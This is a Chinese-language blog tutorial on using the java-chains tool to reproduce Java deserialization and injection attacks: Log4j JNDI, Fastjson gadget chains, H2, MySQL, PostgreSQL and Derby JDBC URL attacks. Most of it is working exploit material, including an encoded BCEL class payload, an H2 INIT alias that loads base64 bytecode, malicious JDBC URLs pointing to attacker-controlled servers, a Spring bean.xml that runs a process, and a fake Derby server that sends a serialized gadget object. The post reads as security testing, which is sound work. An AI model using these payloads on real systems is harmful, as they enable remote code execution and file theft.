Java-chains探索
本文最后更新于 7 天前,其中的信息可能已经过时,如有 错误/失效 请发送邮件到xiaoc1737938763@gmail.com或留言。

偶然在github上看到java-chains,感觉蛮不错的,但是就是对新手不太友好,特此记录一下自己的探索过程。

安装方式有两种,官方文档写得很清楚,这里不再赘述。

https://github.com/vulhub/java-chains

https://java-chains.vulhub.org/zh/docs/guide

java-chains支持很多利用链,具体可以去查看官方文档。

后面我会用一些常用链来演示java-chains的使用方法。

JNDI

以 log4j2为例,log4j2版本选择2.14.0,小于2.14.1都可以

<dependency>
 <groupId>org.apache.logging.log4j</groupId>
 <artifactId>log4j-core</artifactId>
 <version>2.14.0</version>
</dependency>
<dependency>
 <groupId>org.apache.logging.log4j</groupId>
 <artifactId>log4j-api</artifactId>
 <version>2.14.0</version>
</dependency>
<dependency>
 <groupId>org.apache.logging.log4j</groupId>
 <artifactId>log4j-slf4j-impl</artifactId>
 <version>2.14.0</version>
</dependency>

info触发

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class lookUp {
   private static final Logger logger = LogManager.getLogger(lookUp.class);
   public static void main(String[] args) {
         logger.info("${jndi:ldap://127.0.0.1:1079/a}");
  }
}

jdk低版本

jdk版本小于8u191都行,没有限制ldap和rmi的远程字节码加载

然后再来说java-chains如何生成jndi的payload

首先需要来到jndi Control面板,把Reverse IP改为自己vps的IP,本地搭建的也建议不要用127.0.0.1,换一个其他网卡的IP

如果更改不了,就先点击关闭,然后修改Reverse IP,再启动就可以了(就这个坑我浪费了有半天时间,不先点关闭的话,改了之后就会发现没改上,还是127.0.0.1,之后发现是如果你在修改IP之前就点击生成过exp,这时候ldap服务就会自动启动,必须先点关闭才能改)

改好之后来到JNDIBasicPayload

默认选择第一个远程加载字节码,然后通常选择exec

要执行的命令在下面,展开即可,默认calc,然后点击生成。

请求刚刚生成的payload,成功执行

jdk高版本

jdk高版本大于8u191都可以,高版本的jdk对jndi有限制,需要设置TrustUrlCodeBase为true才行,但可以通过其他组件寻找其他利用链。

高版本的绕过可以参考浅蓝师傅的文章,这里我只演示部分。

https://tttang.com/archive/1405/#toc_0x00

java-chains能够生成fuzz payload,一键测试常规利用链,通过查看dnslog记录,生成可利用的链。官方文档也提到过,非常详细。

https://java-chains.vulhub.org/zh/docs/module/jndi

由于没有搭建web环境,这里就直接用info循环触发。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
​
​
public class lookUp {
    private static final Logger logger = LogManager.getLogger(lookUp.class);
    public static void main(String[] args) {
        String[] jndiPayloads = {
                "ldap://x.x.x.x:50389/abf5f9",
                "ldap://x.x.x.x:50389/b16e1a",
                "ldap://x.x.x.x:50389/225541",
                "ldap://x.x.x.x:50389/034223",
                "ldap://x.x.x.x:50389/25071b",
                .....
        };
        for (String payload : jndiPayloads) {
            logger.info("${jndi:" + payload + "}");
        }
    }
}

我在pom.xml里面添加了Groovy,snakeyaml,ELProcessor,mvel2依赖,检测java-chains的爆破链能否fuzz出这三个依赖

<dependency>
 <groupId>org.codehaus.groovy</groupId>
 <artifactId>groovy-all</artifactId>
 <version>2.4.9</version>
</dependency>
<dependency>
 <groupId>org.apache.tomcat</groupId>
 <artifactId>tomcat-dbcp</artifactId>
 <version>9.0.8</version>
</dependency>
<dependency>
 <groupId>org.apache.tomcat</groupId>
 <artifactId>tomcat-catalina</artifactId>
 <version>9.0.8</version>
</dependency>
<dependency>
 <groupId>org.apache.tomcat</groupId>
 <artifactId>tomcat-jasper</artifactId>
 <version>9.0.8</version>
</dependency>
<dependency>
 <groupId>org.yaml</groupId>
 <artifactId>snakeyaml</artifactId>
 <version>1.23</version>
</dependency>
<dependency>
 <groupId>org.mvel</groupId>
 <artifactId>mvel2</artifactId>
 <version>2.4.12.Final</version>
</dependency>

可以看到识别出了snakeyaml

Groovy

ELProcessor

mvel2不清楚为啥没有探测到,可能是bug,已经提了issue

ELProcessor

找到EL链并生成payload

成功执行

Groovy

根据dnslog,选择Groovy2ConvertGroovyConvert都可以

成功执行

snakeyaml

选择远程加载jar包

这里需要填写恶意jar包,可以使用github上现成的

https://github.com/artsploit/yaml-payload

克隆下来记得改一下执行命令,改完后打包一下就行

vim yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

成功执行

mvel2

选择对应payload

成功执行

Fastjson

这里只对java-chains里面存在的链子进行复现。复现的环境使用的是github上的一位师傅的环境

https://github.com/safe6Sec/ShiroAndFastJson

BCEL-tomcat-dbcp

测试环境:

1.jdk8版本小于等于8u191

2.fastjson版本1.2.33 – 1.2.47

3.tomcat-dbcp <= 7.0.109

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>7.0.47</version>
</dependency>

payload选择Generate–>fastjsonPayload,然后选择bcel字节码加载

在下面还可以选择fastjson对应版本和对应依赖

将生成的payload进行json解析

package fastjsonGadget;

import com.alibaba.fastjson.JSON;

public class FastJsonExample {
   public static void main(String[] args) {
       String PoC = "{\n" +
               "   \"name\": {\n" +
               "       \"@type\": \"java.lang.Class\",\n" +
               "       \"val\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"\n" +
               "   },\n" +
               "   \"x1\": {\n" +
               "       \"name\": {\n" +
               "           \"@type\": \"java.lang.Class\",\n" +
               "           \"val\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
               "       },\n" +
               "       \"x2\": {\n" +
               "           \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
               "           \"x3\": {\n" +
               "               \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
               "               \"driverClassLoader\": {\n" +
               "                   \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
               "               },\n" +
               "               \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$dbR$TA$Q$3d$93$y$ec$sl$U$97$ab$e0$N$_$98$80$b0$40$W$88$82$60A$e9$83$Vo$b5$WT$f4i$b2$Z$c2b$b2$Tw$H$81w$7f$c2$_$e0$Z$a8$CKJ$3f$c0o$b2$d4$de$40$89$vx$99$9e$ee$d3$d3$7dN$f7$fc$fc$fd$ed$H$80$v$3ca$f0dX$b5y$83$7b$eb$c2$8e$d6$fdP$da$9e$dc$91J$d8$h$91$M$9e$c9$b0$ce$d5$8a$l$f9J$86$91$fd$9cBKR$d6$EoE$f2k$b3N$7er$86O$3a$c2q$b8$98$v$88$e9$7c$a5Rp$f8Z$c1q$9c$d9i$j$8c$a1s$83$7f$e2v$8d$HU$fbUyCxJG$92A$x$f3H0X$c53$d4U$a1$lT$e7$Y$92$91h$d0$e9$d5$x$M$ed$f3$7e$e0$ab$Fr$b3$b9$V$86$ae$b3$f4$a7$db$9eh$u_$G$3a$3aL$a4$90NCC$86A$97$d1x$c0$eb$c2$c0$e5$96$e6$eeN$a4D$5d$c7$V$86$8e$aaP$afC$d9$Q$a1$daa$Y$ce$9e$t$91$3b$l2$d1$85$ee4$y$f4$b4$96m$a2$3a$fa$a8$ac$92E$b9$r$c2$e5$a6$b4$ee$ec$85E$aeb$m$8d$7e$M$92$a2$z$3f0p$9d$c1$f0d$a0$b8$lD$M$83$ffsY$5e$e7$a1$x$3en$8a$c0$Ts$b9w$sn$e2V$fcv$88D$d2p$c6$c56$89$bcc$a2$N$ed$v$qp$8f$na$7b$G$ee$9b$d0O$o9J$b4$cb$7e$40$L60J$f0$Y$c1c$s$8c$T$d8f$e8$3f$ebF$D$f1D$U$zm$fa$b5$8a$IuL2$f4f$df_0$9a$95x$da$f94$7d$p$87$a1$zR$3cT$M$3d$zjOk$91$dc$Z$cc$c6$99$FR9$ef$d5Nw$a9y$bcFL$e6$d2D$826$a6$z$cb$K$N$y$e3$w$ee$7dx$c1$hoy$b9$s0D$a0F$bf5I$ddH$n$ddR$b1$ae$a65$9a6$B$W$ef$9d$ce$F$f2$3eSv$82$ac$3br$84KV$e7W$f4$k$e2$9au$e3$Q$b7$bf$a0$d3$ba$7b$80a$x$7b$80$91$5dd$ac$H$b13NN$fbw$f4$97$92$fb$YvK$da$3eF$dcR$db$3e$s$dc$e21$a6J$a3G$98$3e$c4$c3$d5$5dh$c5$3dj$a1$e1$r$de$c0$a4$db$o5$e9$83$f6$87$Y2$3dn$99$S$3a$cc_$mv$g1$7b$f4$8f$d1$40$93$P$88$cd$fc$B$s$8e$91$u$j$e1$f1$ea$5e3$86$bfi$c9$H3$8c$D$A$A\",\n" +
               "               \"$ref\": \"$.x1.x2.x3.connection\"\n" +
               "           }\n" +
               "       }\n" +
               "   }\n" +
               "}";
         JSON.parse(PoC);
  }
}

成功执行

BCEL-Mybatis

测试环境:

1.jdk8版本小于等于8u191

2.fastjson版本1.2.33 – 1.2.47

3.mybatis(具体版本范围不清楚,我这里用的是3.5.11)

<dependency>
   <groupId>org.mybatis</groupId>
   <artifactId>mybatis</artifactId>
   <version>3.5.11</version>
</dependency>

payload选择mybatis

成功执行

但BCEL-Mybatis字节码加载无法解决当fastjson版本处于1.2.25 – 1.2.32之间的问题,我在复现mybatis链子时发现了这位师傅的文章。

https://www.anquanke.com/post/id/283079

他给出了一个解决方法,首先第一次请求使用java.lang.Class将所有利用类加入到mapping中,第二次请求将UnpooledDataSource放到list的第一位,再调用getter实现RCE。payload如下:

js = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},"+
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\"},"+
"]";

System.out.println(js);
JSON.parse(js);

js = "["+
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\", \"driverClassLoader\":{\"$ref\":\"$[1]\"}, \"driver\":\"$$BCEL$$...\"},"+
"{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\"\":\"\"},"+
"{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"connection\":{}},"+
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"driver\":{\"$ref\":\"$.connection\"}}"+
"]";

System.out.println(js);
JSON.parse(js);

web复现,分两段发

C3P0

测试环境:

1.jdk版本无限制(我测试环境用的8u401可以)

2.fastjson版本<=1.2.47

3.c3p0依赖(具体版本范围不清楚,我这里用的是0.9.5.2)

<dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.9.5.2</version>
</dependency>

这里的CB链子的选择上要注意,查看自己测试环境上的CB版本是多少,如果是1.8.3的,是用不了CB1和CB5两条链的

成功执行

Groovy

测试环境:

1.jdk版本无限制(我测试环境用的8u401可以)

2.fastjson版本1.2.76 <= fastjson < 1.2.83

3.groovy依赖

<dependency>
   <groupId>org.codehaus.groovy</groupId>
   <artifactId>groovy</artifactId>
   <version>2.4.12</version>
</dependency>

payload选择groovy

jar包生成参考

https://github.com/Lonely-night/fastjsonVul

打包成功后用python起一个http,jar包路径填上即可,成功触发

H2jdbc

测试环境:

1.jdk版本无限制(我测试环境用的8u401可以)

2.fastjson版本<=1.2.47

3.H2jdbc依赖

<dependency>
   <groupId>com.h2database</groupId>
   <artifactId>h2</artifactId>
   <version>2.2.220</version>
</dependency>

这里fastjson的版本我很疑惑,因为java-chains里面写的<=1.2.61,但是我实测出来只能在1.2.47以及之后的版本中可以,高于1.2.47不仅需要开启autotype,也需要将org.h2.jdbcx.JdbcDataSourcejava.lang.Class类加入白名单才可以成功触发利用链。

java-chains中payload选择FastjsonH2Jdbc–>BytecodeConvert–>Exec

同时还需要注意的是,图中的 }:和{}之间不要有空格

java-chains在生成exp时就会有空格,导致JSON.parse反序列化不成功。经测试,除了使用JSON.toJSONString(JSON.parse(PoC));和System.out.println(JSON.parse(PoC));这两个可以执行外,其他都无法触发利用链。所以最好还是删除空格,这样都可以触发。

JdbcRowSetImpl

这条链是最常见的,主要是不依赖任何库

测试环境:

1.jdk版本小于8u191

2.fastjson版本<=1.2.47

java-chains中选择JdbcRowSetImpl这条链点击生成即可。生成好之后在dataSourceName处修改jndi路径,jndi用java-chains生成,选择基础payload即可。

Mysqljdbc

主要复现一下5.1和8.0版本的,6.x版本的mysql感觉很冷门没啥人用。当然还有一些ssrf的链,但是java-chains中没有,就不再复现了。

在这里选择mysql版本,点击生成即可。

开启FakeMysql,会生成用户名

mysql 5.1

mysql版本5.1.11-5.1.48

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.47</version>
</dependency>

将host和username填入就行

mysql 8.0

Java-chains选择mysql 8.0的链子,mysql版本8.0.19

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>

成功触发

JDBC

H2

h2database的jdbc在chains中有很多个,其中需要注意的是H2JavaJdbc1和远程加载sql这两个payload

H2JavaJdbc1

生成的H2JavaJdbc1无法成功执行命令,已经提了issues

https://github.com/vulhub/java-chains/issues/24

gmini给出的修正payload如下

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS a_Lj AS '@SuppressWarnings("unchecked")String shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\;String tomcatStr="yv66vgAAADIAQAEAaG9yZy9hcGFjaGUvYmVhbnV0aWxzL2NveW90ZS9kZXNlcmlhbGl6YXRpb24vaW1wbC9CZWFuQXNBcnJheURlc2VyaWFsaXplcmZkMWMwZWNjODU0ZDQ1ZmJhOGY0YzQ4MzgwODYxNDlhBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABGJhc2UBABJMamF2YS9sYW5nL1N0cmluZzsBAANzZXABAANjbWQBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwALDAAJAAoKAAQADQEAB29zLm5hbWUIAA8BABBqYXZhL2xhbmcvU3lzdGVtBwARAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAEwAUCgASABUBABBqYXZhL2xhbmcvU3RyaW5nBwAXAQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAGQAaCgAYABsBAAN3aW4IAB0BAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAHwAgCgAYACEBAAdjbWQuZXhlCAAjDAAFAAYJAAIAJQEAAi9jCAAnDAAHAAYJAAIAKQEABy9iaW4vc2gIACsBAAItYwgALQwACAAGCQACAC8BABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHADEBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAJADMKADIANAEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAA2ADcKADIAOAEACDxjbGluaXQ+AQAEY2FsYwgAOwoAAgANAQAEQ29kZQEADVN0YWNrTWFwVGFibGUAIQACAAQAAAADAAkABQAGAAAACQAHAAYAAAAJAAgABgAAAAIAAQAJAAoAAQA+AAAAhAAEAAIAAABTKrcADhIQuAAWtgAcEh62ACKZABASJLMAJhIoswAqpwANEiyzACYSLrMAKga9ABhZA7IAJlNZBLIAKlNZBbIAMFNMuwAyWSu3ADW2ADlXpwAETLEAAQAEAE4AUQAMAAEAPwAAABcABP8AIQABBwACAAAJZQcADPwAAAcABAAIADoACgABAD4AAAAaAAIAAAAAAA4SPLMAMLsAAlm3AD1XsQAAAAAAAA=="\;try {java.lang.Class base64 = java.lang.Class.forName("java.util.Base64")\;java.lang.Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0])\;standBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, tomcatStr)\;} catch (java.lang.Exception var6) {java.lang.Class base64 = java.lang.Class.forName("sun.misc.BASE64Decoder")\;java.lang.Object decoder = base64.newInstance()\;standBytes = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, tomcatStr)\;}java.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class)\;defineClassMethod.setAccessible(true)\;java.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),standBytes,0,standBytes.length)\;myclass.newInstance()\;return "test"\;}'\;CALL a_Lj('123')

可以执行

H2RemoteJdbc

这个payload需要一个sql文件,内容就是INIT=后面的内容,因为INIT后面跟的就是sql语句。

同时还需要加上分号以及去掉所有转义符,比如刚刚的H2JavaJdbc1转换为sql文件就应该是

CREATE ALIAS a_Lj AS '
@SuppressWarnings("unchecked")
String shellexec(String abc) throws java.lang.Exception {
  byte[] standBytes = null;
  String tomcatStr = "yv66vgAAADIAQAEAaG9yZy9hcGFjaGUvYmVhbnV0aWxzL2NveW90ZS9kZXNlcmlhbGl6YXRpb24vaW1wbC9CZWFuQXNBcnJheURlc2VyaWFsaXplcmZkMWMwZWNjODU0ZDQ1ZmJhOGY0YzQ4MzgwODYxNDlhBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABGJhc2UBABJMamF2YS9sYW5nL1N0cmluZzsBAANzZXABAANjbWQBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwALDAAJAAoKAAQADQEAB29zLm5hbWUIAA8BABBqYXZhL2xhbmcvU3lzdGVtBwARAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAEwAUCgASABUBABBqYXZhL2xhbmcvU3RyaW5nBwAXAQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAGQAaCgAYABsBAAN3aW4IAB0BAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAHwAgCgAYACEBAAdjbWQuZXhlCAAjDAAFAAYJAAIAJQEAAi9jCAAnDAAHAAYJAAIAKQEABy9iaW4vc2gIACsBAAItYwgALQwACAAGCQACAC8BABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHADEBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAJADMKADIANAEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAA2ADcKADIAOAEACDxjbGluaXQ+AQAEY2FsYwgAOwoAAgANAQAEQ29kZQEADVN0YWNrTWFwVGFibGUAIQACAAQAAAADAAkABQAGAAAACQAHAAYAAAAJAAgABgAAAAIAAQAJAAoAAQA+AAAAhAAEAAIAAABTKrcADhIQuAAWtgAcEh62ACKZABASJLMAJhIoswAqpwANEiyzACYSLrMAKga9ABhZA7IAJlNZBLIAKlNZBbIAMFNMuwAyWSu3ADW2ADlXpwAETLEAAQAEAE4AUQAMAAEAPwAAABcABP8AIQABBwACAAAJZQcADPwAAAcABAAIADoACgABAD4AAAAaAAIAAAAAAA4SPLMAMLsAAlm3AD1XsQAAAAAAAA==";

  try {
      java.lang.Class base64 = java.lang.Class.forName("java.util.Base64");
      java.lang.Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
      standBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, tomcatStr);
  } catch (java.lang.Exception var6) {
      java.lang.Class base64 = java.lang.Class.forName("sun.misc.BASE64Decoder");
      java.lang.Object decoder = base64.newInstance();
      standBytes = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, tomcatStr);
  }

  java.lang.reflect.Method defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
  defineClassMethod.setAccessible(true);
  java.lang.Class myclass = (java.lang.Class) defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(), standBytes, 0, standBytes.length);
  myclass.newInstance();
  return "test";
}
';

CALL a_Lj('123');

写好sql后开一个python http,然后chains生成payload,成功执行

其他链在不同环境下都可以执行

MySQL

该反序列化漏洞适用于mysql jdbc url可控,均可测试该漏洞

mysql5.1.11-5.x.xx RCE

mysql-connector依赖

<dependency>
   <groupId>mysql</groupId>
   <artifactId>mysql-connector-java</artifactId>
   <version>5.1.47</version>
</dependency>

首先开启fakemysql,然后Java-chains中选择mysql jdbc的payload,填入fakemysql的用户以及ip:port

模拟mysql jdbc连接

package JDBC;

import java.sql.*;

public class JDBCRce {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.jdbc.Driver";
        String DB_URL = "jdbc:mysql://x.x.x.x:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=d247fc1";
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}

成功反序列化

mysql8.x-8.0.19 RCE

mysql-connector依赖

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>

同样开启fakemysql,选择8.0.20的payload

测试,注意这里的driver类是com.mysql.cj.jdbc.Driver

package JDBC;
​
import java.sql.*;
​
public class JDBCRce {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://x.x.x.x:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=da68652";
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}
​

mysql8.x FileRead

使用最新版本8.0.33,不关闭allowLoadLocalInfile的情况下

<dependency>
   <groupId>mysql</groupId>
   <artifactId>mysql-connector-java</artifactId>
   <version>8.0.33</version>
</dependency>

填写文件读取路径

payload类型选择read

查看日志,可以发现读取成功了

不出网利用

chains针对不出网的情况也做了考虑,BuildPipeFile模块提供mysql的pipe恶意流文件,上传服务器,进行不出网利用,数据库为test,用户名默认mysql,可自己设置。

利用条件:

1.可上传或访问恶意流文件(不一定是.pcap后缀)

2.知道恶意流文件的相对路径或绝对路径(可以使用../)

在这里选择mysql版本,漏洞版本和MySQL jdbc反序列化漏洞相同。

生成payload后进行base64解码,然后保存至output.pcap文件

成功执行

这篇文章介绍了在spring环境下的其他不依赖文件上传漏洞的MySQL jdbc利用方式

https://blog.csdn.net/anquan2233/article/details/148092061

Postgresql

CVE-2022-21724

9.4.1208 <= org.postgresql:postgresql < 42.2.25

42.3.0 <= org.postgresql:postgresql < 42.3.2

依赖如下,该漏洞需要spring依赖,因此在spring框架下更容易成功

<dependency>
   <groupId>org.postgresql</groupId>
   <artifactId>postgresql</artifactId>
   <version>42.2.24</version>
</dependency>

<dependency>
   <groupId>org.springframework</groupId>
   <artifactId>spring-context</artifactId>
   <version>5.3.30</version>
</dependency>

首先创建一个bean.xml

<beans xmlns="http://www.springframework.org/schema/beans"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:p="http://www.springframework.org/schema/p"
      xsi:schemaLocation="http://www.springframework.org/schema/beans
      http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder">
      <constructor-arg value="calc" />
      <property name="whatever" value="#{ pb.start() }"/>
  </bean>
</beans>

然后python3 -m http.server 8081启一个http server

选择payload,填入刚刚python启动的http server

测试代码

import java.sql.Connection;
import java.sql.DriverManager;

public class pgSQLJDBC {
   public static void main(String[] args) throws Exception {
       String url = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://x.x.x.x:8081/bean.xml";
       Connection conn = DriverManager.getConnection(url);
  }
}

Derby

chains对derby的支持似乎并不太好,不知道是我不会用还是怎么的,会一直报错。所以这里记一下如何手动利用

关于derby,它有两个驱动,一个是客户端模式ClientDriver,一个是内嵌模式Embedded Driver。客户端模式只支持这样的格式

jdbc:derby://<host>:<port>/<dbname>

而chains以及网上所有流传的RCE都是基于内嵌模式,目前我只找到了一种利用方式slave远程反序列化,chains里面的jar包的payload目前还不清楚如何利用

首先需要执行这条语句jdbc:derby:dbname;create=true,先新建数据库,再使用slave远程反序列化的payload

jdbc demo

public static void main(String[] args) throws Exception {
       Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
       //Connection conn = DriverManager.getConnection("jdbc:derby:dbname;create=true");
       String DB_URL = "jdbc:derby:dbname;startMaster=true;slaveHost=x.x.x.x;slavePort=4445";
       Connection conn = DriverManager.getConnection(DB_URL);
       conn.close();
  }

fake derby

可以根据不同的依赖打不同的链,vps上运行该java代码,运行后会监听在4445端口

package JDBC;

import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64;
import java.util.concurrent.TimeUnit;

public class DerbyEvalServer {
   public static void main(String[] args) throws Exception {
       int port = 4445;
       ServerSocket server = new ServerSocket(port);
       Socket socket = server.accept();
//CB1.8
       String evil="rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAJSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAAZX2FjY2Vzc0V4dGVybmFsU3R5bGVzaGVldHEAfgAETAALX2F1eENsYXNzZXN0ADtMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvSGFzaHRhYmxlO1sACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////wB0AANhbGxwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAA7/K/rq+AAAAMgBCAQBQb3JnL2FwYWNoZS9zaGlyby9jb3lvdGUvc2VyL3N0ZC9OdW1iZXJTZXJpYWxpemVyN2M4NTEyZGI1NTk2NGI5ZDg3YjkwYmZjYzg4NmJmZGIHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAEYmFzZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA3NlcAEAA2NtZAEABjxpbml0PgEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAsMAAkACgoABAANAQAHb3MubmFtZQgADwEAEGphdmEvbGFuZy9TeXN0ZW0HABEBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DAATABQKABIAFQEAEGphdmEvbGFuZy9TdHJpbmcHABcBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DAAZABoKABgAGwEAA3dpbggAHQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDAAfACAKABgAIQEAB2NtZC5leGUIACMMAAUABgkAAgAlAQACL2MIACcMAAcABgkAAgApAQAHL2Jpbi9zaAgAKwEAAi1jCAAtDAAIAAYJAAIALwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAMQEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAAkAMwoAMgA0AQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsMADYANwoAMgA4AQAQamF2YS9sYW5nL09iamVjdAcAOgEACDxjbGluaXQ+AQAEY2FsYwgAPQoAAgANAQAEQ29kZQEADVN0YWNrTWFwVGFibGUAIQACAAQAAAADAAkABQAGAAAACQAHAAYAAAAJAAgABgAAAAIAAQAJAAoAAQBAAAAAhAAEAAIAAABTKrcADhIQuAAWtgAcEh62ACKZABASJLMAJhIoswAqpwANEiyzACYSLrMAKga9ABhZA7IAJlNZBLIAKlNZBbIAMFNMuwAyWSu3ADW2ADlXpwAETLEAAQAEAE4AUQAMAAEAQQAAABcABP8AIQABBwACAAAJZQcADPwAAAcAOwAIADwACgABAEAAAAAaAAIAAAAAAA4SPrMAMLsAAlm3AD9XsQAAAAAAAHB0ACQ2ZTBhODczMi1lOWE2LTQzN2UtYmEyNi1lN2U0ZDZiMDQ5NjVwdwEAeHEAfgAOeA==";
       byte[] decode = Base64.getDecoder().decode(evil);

       // 直接向 socket 中写入
       socket.getOutputStream().write(decode);
       socket.getOutputStream().flush();
       Thread.sleep(TimeUnit.SECONDS.toMillis(5));
       socket.close();
       server.close();
  }
}

启动后使用刚刚的demo去连接

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
